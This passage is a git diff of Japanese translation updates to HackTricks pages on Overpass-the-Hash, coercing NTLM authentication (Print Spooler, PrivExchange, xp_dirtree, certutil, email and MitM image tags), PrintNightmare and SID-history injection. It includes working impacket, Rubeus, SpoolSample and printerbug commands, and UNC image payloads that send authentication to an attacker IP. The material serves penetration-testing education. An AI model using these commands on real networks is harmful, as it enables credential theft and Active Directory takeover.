* **💬**[**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Over Pass the Hash/Pass the Key
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -19,28 +22,28 @@
## Overpass The Hash/Pass The Key (PTK)
**Overpass The Hash/Pass The Key (PTK)**攻撃は、従来のNTLMプロトコルが制限され、Kerberos認証が優先される環境向けに設計されています。この攻撃は、ユーザーのNTLMハッシュまたはAESキーを利用してKerberosチケットを取得し、ネットワーク内のリソースに不正アクセスすることを可能にします。
**Overpass The Hash/Pass The Key (PTK)** 攻撃は、従来の NTLM プロトコルが制限され、Kerberos 認証が優先される環境向けに設計されています。この攻撃は、ユーザーの NTLM ハッシュまたは AES キーを利用して Kerberos チケットを要求し、ネットワーク内のリソースへの不正アクセスを可能にします。
この攻撃を実行するためには、最初に対象ユーザーアカウントのNTLMハッシュまたはパスワードを取得する必要があります。この情報を入手した後、アカウントのチケット発行チケットTGTを取得することで、攻撃者はユーザーが権限を持つサービスやマシンにアクセスできます。
この攻撃を実行するための最初のステップは、ターゲットユーザーアカウントの NTLM ハッシュまたはパスワードを取得することです。この情報を確保した後、アカウントのチケットグラントチケット (TGT) を取得でき、攻撃者はユーザーが権限を持つサービスやマシンにアクセスできます。
このプロセスは、次のコマンドで開始できます:
プロセスは以下のコマンドで開始できます:
```bash
python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
```
AES256を必要とするシナリオでは、`-aesKey [AES key]`オプションを利用できます。さらに、取得したチケットはsmbexec.pyやwmiexec.pyなどのさまざまなツールと組み合わせて使用することができ、攻撃範囲が広がります。
AES256が必要なシナリオでは、`-aesKey [AES key]`オプションを利用できます。さらに、取得したチケットはsmbexec.pyやwmiexec.pyなどのさまざまなツールで使用でき、攻撃の範囲を広げます。
_PyAsn1Error_や_KDC cannot find the name_などの問題が発生した場合は、通常、Impacketライブラリを更新するか、IPアドレスの代わりにホスト名を使用して、Kerberos KDCとの互換性を確保することで解決されます。
_PyAsn1Error_や_KDC cannot find the name_のような問題は、通常、Impacketライブラリを更新するか、IPアドレスの代わりにホスト名を使用することで解決され、Kerberos KDCとの互換性が確保されます。
このテクニックの別の側面を示すRubeus.exeを使用した代替コマンドシーケンスは次のとおりです:
Rubeus.exeを使用した別のコマンドシーケンスは、この技術の別の側面を示しています:
```bash
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
```
この方法は、**Pass the Key**アプローチをミラーリングし、チケットを直接乗っ取って認証目的で利用します。TGTリクエストの開始は、デフォルトでRC4-HMACの使用を示すイベント`4768: A Kerberos authentication ticket (TGT) was requested`をトリガーし、しかし、現代のWindowsシステムではAES256が好まれます。
この方法は**Pass the Key**アプローチを反映しており、認証目的のためにチケットを直接操縦し利用することに焦点を当てています。TGTリクエストの開始は、イベント`4768: A Kerberos authentication ticket (TGT) was requested`をトリガーし、デフォルトでRC4-HMACの使用を示しますが、現代のWindowsシステムはAES256を好みます。
運用セキュリティに準拠し、AES256を使用するには、次のコマンドを適用できます:
運用セキュリティに準拠し、AES256を使用するために、次のコマンドを適用できます:
```bash
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
```
@ -52,14 +55,17 @@ _PyAsn1Error_や_KDC cannot find the name_などの問題が発生した場合
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,71 +1,74 @@
# NTLM特権認証を強制する
# Force NTLM Privileged Authentication
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学びましょう</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## SharpSystemTriggers
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers)は、**MIDLコンパイラ**を使用してC#でコーディングされた**リモート認証トリガーのコレクション**です。これにより、第三者の依存関係を回避できます。
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) は、**3rd party dependencies**を避けるためにMIDLコンパイラを使用してC#でコーディングされた**リモート認証トリガー****コレクション**です。
## スプーラーサービスの悪用
## Spooler Service Abuse
_**Print Spooler**_サービスが**有効**になっている場合、既知のAD資格情報を使用して、**ドメインコントローラーのプリントサーバーに新しい印刷ジョブの更新を要求**し、**通知を特定のシステムに送信するように指示**できます。\
プリンターが任意のシステムに通知を送信するとき、その**システムに対して認証する必要があります**。したがって、攻撃者は_**Print Spooler**_サービスを任意のシステムに対して認証させ、サービスはこの認証で**コンピューターアカウント**を使用します。
_**Print Spooler**_ サービスが**有効**な場合、既知のAD資格情報を使用してドメインコントローラーの印刷サーバーに新しい印刷ジョブの**更新**を**要求**し、通知を**任意のシステムに送信するように指示**できます。\
プリンターが任意のシステムに通知を送信する際には、その**システムに対して認証**する必要があります。したがって、攻撃者は_**Print Spooler**_ サービスを任意のシステムに対して認証させることができ、その認証では**コンピュータアカウント**が使用されます。
### ドメイン上のWindowsサーバーを見つける
### Finding Windows Servers on the domain
PowerShellを使用して、Windowsボックスのリストを取得します。通常、サーバーが優先されるため、そこに焦点を当てましょう:
PowerShellを使用して、Windowsボックスのリストを取得します。サーバーは通常優先されるため、そこに焦点を当てましょう:
```bash
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
```
### スプーラーサービスのリスニングを見つけ
### Spoolerサービスのリスニングを確認す
やや修正された @mysmartlogin's (Vincent Le Toux's) の [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket) を使用して、スプーラーサービスがリスニングしているかどうかを確認します:
少し修正された@mysmartloginVincent Le Touxの[SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket)を使用して、Spoolerサービスがリスニングしているか確認します:
```bash
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
```
あなたはLinux上でrpcdump.pyを使用し、MS-RPRNプロトコルを探すこともできます。
Linux上でrpcdump.pyを使用し、MS-RPRNプロトコルを探すこともできます。
```bash
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
```
### 任意のホストに対してサービスに認証を要求す
### サービスに任意のホストに対して認証を要求させ
[ここから**SpoolSampleをコンパイルできます**](https://github.com/NotMedic/NetNTLMtoSilverTicket)****
[**ここからSpoolSampleをコンパイルできます**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
```bash
SpoolSample.exe <TARGET> <RESPONDERIP>
```
または、[**3xocyteのdementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket)または[**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)を使用している場合は、Linuxを使用してください。
または、Linuxを使用している場合は、[**3xocyteのdementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket)または[**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)を使用してください。
```bash
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
```
### Unconstrained Delegationと組み合わせ
### Unconstrained Delegationと組み合わせ
攻撃者がすでに[Unconstrained Delegation](unconstrained-delegation.md)を利用してコンピュータを侵害している場合、攻撃者は**プリンタをこのコンピュータに認証させる**ことができます。Unconstrained Delegationにより、**プリンタのコンピュータアカウントのTGT**がUnconstrained Delegationを持つコンピュータのメモリに**保存されます**。攻撃者はすでにこのホストを侵害しているため、このチケットを**取得して悪用**することができます([Pass the Ticket](pass-the-ticket.md))。
攻撃者がすでに[Unconstrained Delegation](unconstrained-delegation.md)を持つコンピュータを侵害している場合、攻撃者は**プリンタをこのコンピュータに対して認証させる**ことができます。制約のない委任のため、**プリンタのコンピュータアカウントのTGT**は、制約のない委任を持つコンピュータの**メモリ**に**保存されます**。攻撃者はすでにこのホストを侵害しているため、**このチケットを取得し**、それを悪用することができます([Pass the Ticket](pass-the-ticket.md))。
## RCP Force authentication
## RCP強制認証
{% embed url="https://github.com/p0dalirius/Coercer" %}
## PrivExchange
`PrivExchange`攻撃は、**Exchange Serverの`PushSubscription`機能**に見つかった欠陥の結果です。この機能により、Exchangeサーバを持つ任意のドメインユーザーが、HTTP経由でクライアント提供のホストに強制的に認証させることができます。
`PrivExchange`攻撃は、**Exchange Serverの`PushSubscription`機能**に見つかった欠陥の結果です。この機能により、メールボックスを持つ任意のドメインユーザーがHTTP経由で任意のクライアント提供ホストに対してExchangeサーバーを強制的に認証させることができます。
デフォルトでは、**ExchangeサービスはSYSTEMとして実行**され、過剰な特権が与えられます(具体的には、**2019年以前の累積更新プログラムでドメインのWriteDacl特権が与えられます**)。この欠陥を悪用すると、**情報をLDAPに中継し、その後ドメインNTDSデータベースを抽出**することができます。LDAPへの中継ができない場合でも、この欠陥を使用してドメイン内の他のホストに中継および認証することができます。この攻撃の成功により、認証されたドメインユーザーアカウントを使用して、Domain Adminへの直接アクセスが可能となります。
デフォルトでは、**ExchangeサービスはSYSTEMとして実行され**、過剰な特権が与えられています(具体的には、**2019年以前の累積更新のドメインに対するWriteDacl特権**があります)。この欠陥は、**LDAPへの情報の中継を可能にし、その後ドメインNTDSデータベースを抽出する**ために悪用できます。LDAPへの中継が不可能な場合でも、この欠陥はドメイン内の他のホストに対して中継および認証するために使用できます。この攻撃の成功した悪用は、認証された任意のドメインユーザーアカウントでドメイン管理者への即時アクセスを許可します。
## Inside Windows
## Windows内部
Windowsマシン内部にすでにいる場合、特権アカウントを使用してWindowsをサーバに接続するように強制することができます:
すでにWindowsマシン内にいる場合、特権アカウントを使用してサーバーに接続するようWindowsを強制することができます
### Defender MpCmdRun
```bash
@ -75,11 +78,11 @@ C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -S
```sql
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
```
または、別のテクニックを使用することもできます: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
または、この別の技術を使用します: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
### Certutil
certutil.exe lolbinMicrosoftによって署名されたバイナリを使用してNTLM認証を強制することが可能です:
certutil.exe lolbinMicrosoft署名のバイナリを使用してNTLM認証を強制することが可能です:
```bash
certutil.exe -syncwithWU \\127.0.0.1\share
```
@ -87,17 +90,34 @@ certutil.exe -syncwithWU \\127.0.0.1\share
### メール経由
コンプロマイズしたいマシンにログインするユーザーの**メールアドレス**を知っている場合、以下のような**1x1の画像が埋め込まれたメール**を送信することができます。
もしあなたが侵入したいマシンにログインしているユーザーの**メールアドレス**を知っているなら、**1x1画像**を含む**メール**を送ることができます。
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
そして、彼がそれを開くと、認証を試みるでしょう。
### MitM
コンピュータに対してMitM攻撃を実行し、彼が視覚化するページにHTMLを注入できる場合、次のような画像をページに注入してみることができます:
もしあなたがコンピュータに対してMitM攻撃を実行し、彼が視覚化するページにHTMLを注入できるなら、次のような画像をページに注入してみることができます:
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
## NTLMv1のクラッ
## NTLMv1のクラッキング
[NTLMv1のチャレンジをキャプチャできる場合は、こちらを参照してクラック方法を確認してください](../ntlm/#ntlmv1-attack)。\
_**NTLMv1をクラックするには、Responderのチャレンジを "1122334455667788" に設定する必要があります。**_
[NTLMv1チャレンジをキャプチャできる場合は、ここでそれをクラッキングする方法を読んでください](../ntlm/#ntlmv1-attack)。\
_ NTLMv1をクラッキングするには、Responderチャレンジを「1122334455667788」に設定する必要があることを忘れないでください。_
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,27 +1,34 @@
# PrintNightmare
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ<a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
</details>
**2024年のPrintNightmareに関する素晴らしいブログポストをチェック[https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ<a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
**2024年のPrintNightmareに関する素晴らしいブログ記事をチェックしてください[https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,32 +1,35 @@
# SID履歴インジェクション
# SID-History Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を通じて、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## SID履歴インジェクション攻撃
## SID History Injection Attack
**SID履歴インジェクション攻撃**の焦点は、**ドメイン間のユーザーマイグレーションを支援**しながら、以前のドメインからのリソースへの継続的なアクセスを確保することです。これは、ユーザーの以前のセキュリティ識別子SIDを新しいアカウントのSID履歴に**組み込む**ことによって達成されます。特筆すべきは、このプロセスを操作して、親ドメインの高特権グループEnterprise AdminsやDomain AdminsなどのSIDをSID履歴に追加することで、不正なアクセスを許可できることです。この悪用により、親ドメイン内のすべてのリソースにアクセスできます。
**SID履歴インジェクション攻撃**の焦点は、**ドメイン間のユーザー移行を支援し**、以前のドメインからのリソースへのアクセスを継続することです。これは、**ユーザーの以前のセキュリティ識別子SIDを新しいアカウントのSID履歴に組み込むことによって達成されます**。特に、このプロセスは、親ドメインからの高特権グループ例えば、Enterprise AdminsやDomain AdminsのSIDをSID履歴に追加することで、不正アクセスを許可するように操作できます。この悪用により、親ドメイン内のすべてのリソースへのアクセスが付与されます。
この攻撃を実行するためには、**ゴールデンチケット**または**ダイヤモンドチケット**を作成する2つの方法が存在します。
この攻撃を実行するための2つの方法があります**ゴールデンチケット**または**ダイヤモンドチケット**の作成です。
**"Enterprise Admins"**グループのSIDを特定するためには、まずルートドメインのSIDを特定する必要があります。その後、Enterprise AdminsグループのSIDは、ルートドメインのSIDに`-519`を追加することで構築できます。たとえば、ルートドメインのSIDが`S-1-5-21-280534878-1496970234-700767426`である場合、"Enterprise Admins"グループの結果として得られるSIDは`S-1-5-21-280534878-1496970234-700767426-519`となります。
**"Enterprise Admins"**グループのSIDを特定するには、まずルートドメインのSIDを見つける必要があります。特定した後、Enterprise AdminsグループのSIDは、ルートドメインのSIDに`-519`を追加することで構築できます。例えば、ルートドメインのSIDが`S-1-5-21-280534878-1496970234-700767426`の場合、"Enterprise Admins"グループのSIDは`S-1-5-21-280534878-1496970234-700767426-519`になります。
また、**Domain Admins**グループを使用することもでき、これは**512**で終わります。
**Domain Admins**グループも使用できますが、これは**512**で終わります。
他のドメインのグループ(たとえば"Domain Admins"のSIDを見つける別の方法は次のとおりです:
他のドメインのグループ(例えば"Domain Admins"のSIDを見つける別の方法は次の通りです:
```powershell
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
```
### KRBTGT-AES256を使用したゴールデンチケットMimikatz
### ゴールデンチケット (Mimikatz) と KRBTGT-AES256
{% code overflow="wrap" %}
```bash
